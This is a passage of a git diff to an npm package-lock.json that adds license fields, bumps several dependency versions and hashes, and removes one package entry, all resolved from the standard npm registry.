+      "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.1"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7139,6 +7837,7 @@
       "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
       "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0"
       }
@@ -7148,6 +7847,7 @@
       "resolved": "https://registry.npmjs.org/git-list-updated/-/git-list-updated-1.2.1.tgz",
       "integrity": "sha512-llCzqjMEwMiU2TuX1PPajrX8cHBOaCVjw0aPDEXAIWvU3JuSZii8B4pvk8vEH8oibObQImFO/E2IwS20DoORCA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "2-thenable": "^1.0.0",
         "child-process-ext": "^2.0.0",
@@ -7165,6 +7865,7 @@
       "resolved": "https://registry.npmjs.org/git-raw-commits/-/git-raw-commits-2.0.11.tgz",
       "integrity": "sha512-VnctFhw+xfj8Va1xtfEqCUD2XDrbAPSJx+hSrE5K7fGdjZruW7XV+QOrN7LF/RJyvspRiD2I0asWsxFp0ya26A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "dargs": "^7.0.0",
         "lodash": "^4.17.15",
@@ -7184,6 +7885,7 @@
       "resolved": "https://registry.npmjs.org/git-remote-origin-url/-/git-remote-origin-url-2.0.0.tgz",
       "integrity": "sha512-eU+GGrZgccNJcsDH5LkXR3PB9M958hxc7sbA8DFJjrv9j4L2P/eZfKhM+QD6wyzpiv+b1BpK0XrYCxkovtjSLw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "gitconfiglocal": "^1.0.0",
         "pify": "^2.3.0"
@@ -7197,6 +7899,7 @@
       "resolved": "https://registry.npmjs.org/git-semver-tags/-/git-semver-tags-4.1.1.tgz",
       "integrity": "sha512-OWyMt5zBe7xFs8vglMmhM9lRQzCWL3WjHtxNNfJTMngGym7pC1kh8sP6jevfydJ6LP3ZvGxfb6ABYgPUM0mtsA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "meow": "^8.0.0",
         "semver": "^6.0.0"
@@ -7213,6 +7916,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -7222,6 +7926,7 @@
       "resolved": "https://registry.npmjs.org/gitconfiglocal/-/gitconfiglocal-1.0.0.tgz",
       "integrity": "sha512-spLUXeTAVHxDtKsJc8FkFVgFtMdEN9qPGpL23VfSHx4fP4+Ds097IXLvymbnDH8FnmxX5Nr9bPw3A+AQ6mWEaQ==",
       "dev": true,
+      "license": "BSD",
       "dependencies": {
         "ini": "^1.3.2"
       }
@@ -7230,13 +7935,15 @@
       "version": "0.0.0",
       "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
       "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/github-release-from-cc-changelog": {
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/github-release-from-cc-changelog/-/github-release-from-cc-changelog-2.3.0.tgz",
       "integrity": "sha512-Zuwu1tS/wUq7uLvokZh02fCxIDvVP2wgIGGqfECUUtfj6TbPPBlsOym3Yq1Mp7j8l5PFNk3DZ2G3WsMj1ugESA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "@octokit/rest": "^18.12.0",
         "chalk": "^3.0.0",
@@ -7263,6 +7970,7 @@
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
       "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -7272,6 +7980,7 @@
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
       "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.1.0",
         "supports-color": "^7.1.0"
@@ -7285,6 +7994,7 @@
       "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.4.0.tgz",
       "integrity": "sha512-xu6RvQqqrWEo6MPR1eixqGPywhYBHRs653F9jfXB2Hx4jdM/3WxiNE1vppRmxtMIfl16SFYTpYlrnqH/HsK/2w==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "ansi-regex": "^2.1.1",
         "d": "1",
@@ -7299,6 +8009,7 @@
       "resolved": "https://registry.npmjs.org/cli-progress-footer/-/cli-progress-footer-1.1.1.tgz",
       "integrity": "sha512-J0uW2u06pWI0tMKCbcCiMOZd8TbWj4EpuYgPo4Jiwih/FfGbd4dbLcJieO0Ior1pY1HBrnmCuHFk6GB9azE4pg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "cli-color": "^1.4",
         "d": "1",
@@ -7312,6 +8023,7 @@
       "resolved": "https://registry.npmjs.org/process-utils/-/process-utils-2.6.0.tgz",
       "integrity": "sha512-2zKFADQDvHiUDyJQTsBTdu1+Q2D/WtReBotZwXmD9oUueb0kNv4rXulK/78hMM+nclBNFZ/ZlHOJtobt8oHpqQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "ext": "^1.1.0",
         "type": "^2.0.0"
@@ -7322,6 +8034,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -7333,6 +8046,8 @@
       "version": "7.2.3",
       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
       "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
+      "license": "ISC",
       "dependencies": {
         "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
@@ -7352,6 +8067,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
       "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "license": "ISC",
       "dependencies": {
         "is-glob": "^4.0.1"
       },
@@ -7364,6 +8080,7 @@
       "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-0.1.1.tgz",
       "integrity": "sha512-NknMLn7F2J7aflwFOlGdNIuCDpN3VGoSoB+aap3KABFWbHVn1TCgFC+np23J8W2BiZbjfEw3BFBycSMv1AFblg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ini": "^1.3.4"
       },
@@ -7372,10 +8089,11 @@
       }
     },
     "node_modules/globals": {
-      "version": "13.23.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-13.23.0.tgz",
-      "integrity": "sha512-XAmF0RjlrjY23MA51q3HltdlGxUpXPvg0GioKiD9X6HD28iMjo2dKC8Vqwm7lne4GNr78+RHTfliktR6ZH09wA==",
+      "version": "13.24.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
+      "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "type-fest": "^0.20.2"
       },
@@ -7387,12 +8105,13 @@
       }
     },
     "node_modules/globalthis": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz",
-      "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==",
-      "dev": true,
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+      "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
+      "license": "MIT",
       "dependencies": {
-        "define-properties": "^1.1.3"
+        "define-properties": "^1.2.1",
+        "gopd": "^1.0.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7405,6 +8124,7 @@
       "version": "11.1.0",
       "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
       "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+      "license": "MIT",
       "dependencies": {
         "array-union": "^2.1.0",
         "dir-glob": "^3.0.1",
@@ -7421,11 +8141,12 @@
       }
     },
     "node_modules/gopd": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
-      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
-      "dependencies": {
-        "get-intrinsic": "^1.1.3"
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -7435,6 +8156,7 @@
       "version": "11.8.6",
       "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz",
       "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==",
+      "license": "MIT",
       "dependencies": {
         "@sindresorhus/is": "^4.0.0",
         "@szmarczak/http-timer": "^4.0.5",
@@ -7458,18 +8180,21 @@
     "node_modules/graceful-fs": {
       "version": "4.2.11",
       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
-      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "license": "ISC"
     },
     "node_modules/graphemer": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
       "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/graphlib": {
       "version": "2.1.8",
       "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz",
       "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==",
+      "license": "MIT",
       "dependencies": {
         "lodash": "^4.17.15"
       }
@@ -7479,6 +8204,7 @@
       "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz",
       "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4.x"
       }
@@ -7488,6 +8214,7 @@
       "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz",
       "integrity": "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.2.5",
         "neo-async": "^2.6.2",
@@ -7509,6 +8236,7 @@
       "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
       "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=4"
       }
@@ -7519,6 +8247,7 @@
       "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
       "deprecated": "this library is no longer supported",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ajv": "^6.12.3",
         "har-schema": "^2.0.0"
@@ -7532,6 +8261,7 @@
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
       "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "fast-json-stable-stringify": "^2.0.0",
@@ -7547,13 +8277,15 @@
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/hard-rejection": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz",
       "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -7563,15 +8295,19 @@
       "resolved": "https://registry.npmjs.org/has/-/has-1.0.4.tgz",
       "integrity": "sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4.0"
       }
     },
     "node_modules/has-bigints": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
-      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",
+      "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -7580,25 +8316,31 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
       "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/has-property-descriptors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.1.tgz",
-      "integrity": "sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.2"
+        "es-define-property": "^1.0.0"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/has-proto": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz",
-      "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==",
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
+      "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -7607,9 +8349,10 @@
       }
     },
     "node_modules/has-symbols": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
-      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -7618,11 +8361,12 @@
       }
     },
     "node_modules/has-tostringtag": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
-      "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
+      "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
+      "license": "MIT",
       "dependencies": {
-        "has-symbols": "^1.0.2"
+        "has-symbols": "^1.0.3"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7636,6 +8380,7 @@
       "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz",
       "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-stream": "^2.0.0",
         "type-fest": "^0.8.0"
@@ -7652,6 +8397,7 @@
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
       "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -7664,14 +8410,16 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
       "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/hasown": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz",
-      "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "license": "MIT",
       "dependencies": {
         "function-bind": "^1.1.2"
       },
@@ -7684,23 +8432,17 @@
       "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
       "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "he": "bin/he"
       }
     },
-    "node_modules/hexoid": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/hexoid/-/hexoid-1.0.0.tgz",
-      "integrity": "sha512-QFLV0taWQOZtvIRIAdBChesmogZrtuXvVWsFHZTk2SU+anspqZ2vMnoLg7IE1+Uk16N19APic1BuF8bC8c2m5g==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/hosted-git-info": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz",
       "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "lru-cache": "^6.0.0"
       },
@@ -7712,18 +8454,21 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
       "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/http-cache-semantics": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz",
-      "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ=="
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",
+      "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/http-signature": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
       "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0",
         "jsprim": "^1.2.2",
@@ -7738,6 +8483,7 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz",
       "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==",
+      "license": "MIT",
       "dependencies": {
         "quick-lru": "^5.1.1",
         "resolve-alpn": "^1.0.0"
@@ -7750,6 +8496,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
       "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "license": "MIT",
       "dependencies": {
         "agent-base": "6",
         "debug": "4"
@@ -7763,6 +8510,7 @@
       "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-4.3.1.tgz",
       "integrity": "sha512-nZXjEF2nbo7lIw3mgYjItAfgQXog3OjJogSbKa2CQIIvSGWcKgeJnQlNXip6NglNzYH45nSRiEVimMvYL8DDqQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=14.18.0"
       }
@@ -7773,6 +8521,7 @@
       "integrity": "sha512-LCqqsB0PzJQ/AlCgfrfzRe3e3+NvmefAdKQhRYpxS4u6clblBoDdzzvHi8fmxKRzvMxPY/1WZWzomPZww0Anow==",
       "dev": true,
       "hasInstallScript": true,
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.0.0",
         "ci-info": "^2.0.0",
@@ -7801,12 +8550,14 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
       "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/iconv-lite": {
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": ">= 2.1.2 < 3"
       },
@@ -7817,12 +8568,14 @@
     "node_modules/ieee754": {
       "version": "1.1.13",
       "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz",
-      "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg=="
+      "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==",
+      "license": "BSD-3-Clause"
     },
     "node_modules/ignore": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.0.tgz",
-      "integrity": "sha512-g7dmpshy+gD7mh88OC9NwSGTKoc3kyLAZQRU1mt53Aw/vnvfXnbC+F/7F7QoYVKbV+KNvJx8wArewKy1vXMtlg==",
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
+      "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
@@ -7830,13 +8583,15 @@
     "node_modules/immediate": {
       "version": "3.0.6",
       "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
-      "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="
+      "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
+      "license": "MIT"
     },
     "node_modules/import-fresh": {
-      "version": "3.3.0",
